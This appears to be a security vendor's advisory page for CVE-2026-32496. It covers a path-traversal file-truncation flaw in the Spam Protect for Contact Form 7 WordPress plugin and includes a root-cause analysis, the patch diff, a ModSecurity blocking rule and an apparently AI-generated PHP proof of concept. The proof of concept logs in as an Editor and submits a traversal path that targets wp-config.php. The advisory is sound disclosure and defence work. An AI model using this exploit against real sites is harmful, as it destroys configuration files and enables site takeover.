Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32496: Spam Protect for Contact Form 7 <= 1.2.9 – Authenticated (Editor+) Arbitrary File Deletion (wp-contact-form-7-spam-blocker)

Severity Medium (CVSS 6.5)
CWE 22
Vulnerable Version 1.2.9
Patched Version 1.2.10
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32496:
The Spam Protect for Contact Form 7 WordPress plugin, versions up to and including 1.2.9, contains an arbitrary file deletion vulnerability. The flaw exists in the plugin’s log file management functionality. An authenticated attacker with Editor-level permissions or higher can delete arbitrary files on the server, potentially leading to remote code execution.

Atomic Edge research identifies the root cause as insufficient path validation when processing the `wpcf7_block_log_erase` parameter. The vulnerable code is in the `save_wpcf7_blocker_settings` function within `/wp-contact-form-7-spam-blocker/admin/class-admin.php`. On line 286, the function reads the `$wpcf7_block_log_filename` variable from post meta. It then constructs a file path by directly concatenating this user-controlled variable with a base directory on lines 290-291: `$log_handle = fopen(‘../wp-content/’.$wpcf7_block_log_filename, ‘w’);`. The plugin fails to validate that the filename is safe and does not contain directory traversal sequences.

Exploitation requires an authenticated attacker with Editor or higher privileges to submit a POST request to the Contact Form 7 editor page. The attacker must set the `wpcf7_block_log_filename` post meta to a value like `../../../wp-config.php`. They must also set the `wpcf7_block_log_erase` parameter to `on`. When the `save_wpcf7_blocker_settings` function executes, it will open the constructed path for writing, truncating the target file to zero bytes, effectively deleting its contents. The attack vector is the plugin’s settings save handler triggered via the WordPress admin interface.

The patch in version 1.2.10 addresses the vulnerability through multiple changes. It removes the unrelated ‘Send request’ functionality entirely. Crucially, it adds validation to ensure the log filename is not empty and always ends with the `.log` extension. Lines 273-281 in the patched file show the new logic: if the filename is not empty and its extension is not ‘log’, it appends `.log`. If empty, it defaults to `spcf_spam_block.log`. This prevents an attacker from specifying a filename with a different extension or a path traversal sequence that escapes the intended directory. The patch also updates the user interface text to emphasize the `.log` extension requirement.

Successful exploitation leads to complete loss of integrity and availability for the targeted file. Deleting critical system files like `wp-config.php` can cause a site outage and allow an attacker to take control by triggering a re-installation. Deleting other files could disable security controls, expose sensitive data, or create conditions for remote code execution. This vulnerability provides a direct path to site compromise for any user with Editor access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-contact-form-7-spam-blocker/admin/class-admin.php
+++ b/wp-contact-form-7-spam-blocker/admin/class-admin.php
@@ -83,6 +83,8 @@
         $can_send_request = false;

         if ($wpcf7_block_log_filename != "") { $log_file_size = filesize("../wp-content/".$wpcf7_block_log_filename); }else{ $log_file_size = filesize("../wp-content/spcf_spam_block.log"); }
+        if (empty($wpcf7_block_log_filename)) { $wpcf7_block_log_filename = "spcf_spam_block.log"; }
+
         $log_file_size_str = 0;
         if ($log_file_size > 0 && $log_file_size < 1024000){
             $log_file_size_str = round($log_file_size /1024, 2)." KB";
@@ -184,8 +186,8 @@
                 <div class="block-error-msg">
                     <h3 class="blocker-7-setting second">Set your log file filename. <span><small>(optional)</small></span></h3>
                     <p><small class="blocker-7-setting-small">
-                        Please specify the filename you prefer for storing the log. For instance, 'spcf_spam_block.log' (recommended), 'mylog.txt,' or '[random-secret-name].html.' <br>
-                    You may leave this field blank to use the default value. Utilize this field to manage different log files for multiple contact forms across your site. <br>
+                    Please specify the filename you prefer for storing the log. For instance, 'spcf_spam_block.log' (recommended), 'myform.log,' or '[random-name].log', extension must always be (.log). <br>
+                    You may leave this field blank to use the default value 'spcf_spam_block.log'. You can utilize this field to manage different log files for multiple contact forms across your site. <br>
                     IMPORTANT: Ensure your server supports MIME file extensions for download or viewing, and ensure the file does not already exist or is being used by another plugin.
                     </small></p>
                     <input type="text" name="wpcf7_block_log_filename" id="wpcf7-block-log-filename-id"
@@ -271,7 +273,17 @@

         // Log filename
         $wpcf7_block_log_filename = sanitize_text_field( preg_replace('/[x00-x1Fx80-xFF]/', '', $_POST['wpcf7_block_log_filename'] ) );
-        update_post_meta($post_id, "_wpcf7_block_log_filename", trim($wpcf7_block_log_filename));
+        // Ensure filename is not empty and ends with .log
+        if (!empty($wpcf7_block_log_filename)) {
+            // Ensure filename ends with .log
+            if (pathinfo($wpcf7_block_log_filename, PATHINFO_EXTENSION) !== 'log') {
+                $wpcf7_block_log_filename .= '.log';
+            }
+        } else {
+            $wpcf7_block_log_filename = "spcf_spam_block.log";
+        }
+
+        update_post_meta($post_id, "_wpcf7_block_log_filename", trim($wpcf7_block_log_filename));

         //Erase Log
         $erase_log = sanitize_text_field($_POST['wpcf7_block_log_erase']);
@@ -286,19 +298,6 @@
                 fclose($log_handle);
             }
         }
-
-        //Send request
-        $file_value = sanitize_text_field($_POST['request-form-path']);
-        if (strlen(trim($file_value)) > 7){
-
-            $email_value = sanitize_text_field($_POST['request-form-email']);
-            $recipient = base64_decode("c3BjZkBueXNvZnR3YXJlbGFiLmNvbQ==");
-
-            // Use Gmail to avoid potential spamming to company's servers
-            $rslt = wp_mail( $recipient, "analyze log file request", $email_value."rn".$file_value."rn", '', array() );
-
-            update_post_meta($post_id, "_wpcf7_request_log_analyze", $rslt);
-        }
     }

     /**
@@ -313,26 +312,5 @@
      */
     public function spcf7_enqueue_scripts() {
         wp_enqueue_script($this->plugin_name, plugin_dir_url(__FILE__) . 'js/spam-protect-for-contact-form7.js', array('jquery'), $this->version, false);
-
-        /*
-        if (isset($_GET['post'])){
-
-
-            $domain = home_url();
-            $post_id = sanitize_text_field($_GET['post']);
-            $wpcf7_block_log_filename_script = trim(get_post_meta($post_id, "_wpcf7_block_log_filename", true));
-
-            echo '
-            <script>
-                var wpcf7_block_log_domain = "'.$domain.'";
-                var wpcf7_block_log_filename = "'.esc_html(trim($wpcf7_block_log_filename_script)).'";
-                if (wpcf7_block_log_filename==""){
-                    wpcf7_block_log_filename = wpcf7_block_log_domain+"/wp-content/spcf_spam_block.log";
-                }else{
-                    wpcf7_block_log_filename = wpcf7_block_log_domain+"/wp-content/"+wpcf7_block_log_filename;
-                }
-            </script>';
-        }
-        */
     }
 }
--- a/wp-contact-form-7-spam-blocker/spam-protect-for-contact-form7.php
+++ b/wp-contact-form-7-spam-blocker/spam-protect-for-contact-form7.php
@@ -9,7 +9,7 @@
  * Plugin Name:       Spam Protect for Contact Form 7
  * Plugin URI:        https://nysoftwarelab.com/spam-protect-for-contact-form7/
  * Description:       Spam Protect for Contact Form 7
- * Version:           1.2.9
+ * Version:           1.2.10
  * Author:            New York Software Lab
  * Author URI:        https://nysoftwarelab.com
  * License:           GPL-2.0+
@@ -23,7 +23,7 @@
 	die;
 }

-define( 'SPCF7_VERSION', '1.2.9' );
+define( 'SPCF7_VERSION', '1.2.10' );

 /**
  * The code that runs during plugin activation.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32496
SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|admin-post.php)" 
  "id:10032496,phase:2,deny,status:403,chain,msg:'CVE-2026-32496: Spam Protect for CF7 Arbitrary File Deletion Attempt',severity:'CRITICAL',tag:'CVE-2026-32496',tag:'WordPress',tag:'Plugin',tag:'Spam-Protect-CF7'"
  SecRule ARGS_POST:action "@streq wpcf7-blocker-settings" "chain"
    SecRule ARGS_POST:wpcf7_block_log_filename "@rx (..(/|\)|x00)" 
      "t:none,t:urlDecodeUni,t:normalizePathWin"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32496 - Spam Protect for Contact Form 7 <= 1.2.9 - Authenticated (Editor+) Arbitrary File Deletion
<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin.php?page=wpcf7&post=<POST_ID>&action=edit';
$username = 'editor_user';
$password = 'editor_password';
$target_file = '../../../wp-config.php'; // File to delete (relative to wp-content/)

// Initialize cURL session for WordPress login and cookie handling
$ch = curl_init();
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');

// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
$login_page = curl_exec($ch);

// Step 2: Submit login credentials
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'http://vulnerable-site.com/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);

// Step 3: Access the Contact Form 7 editor page for a specific form to get its nonce
// Replace <POST_ID> with the actual numeric ID of a Contact Form 7 form
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);

// Extract the nonce for the 'wpcf7-blocker-settings' action (simplified - in reality, parse HTML)
// This PoC assumes the nonce is known or the environment does not require it for this action.
// The vulnerable plugin's save handler may not perform a nonce check.
$nonce = 'EXTRACTED_NONCE';

// Step 4: Craft the exploit POST request to save settings with malicious filename
$exploit_data = array(
    'post' => '<POST_ID>',
    'wpcf7_block_log_filename' => $target_file, // User-controlled filename with path traversal
    'wpcf7_block_log_erase' => 'on', // Trigger file truncation/deletion
    'action' => 'wpcf7-blocker-settings', // Plugin's save action hook
    '_wpnonce' => $nonce // May be required
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$exploit_response = curl_exec($ch);

// Check response for success indicators
if (strpos($exploit_response, 'Log file erased') !== false) {
    echo "[+] Exploit likely succeeded. Target file may have been truncated.n";
} else {
    echo "[-] Exploit may have failed. Check permissions and nonce.n";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School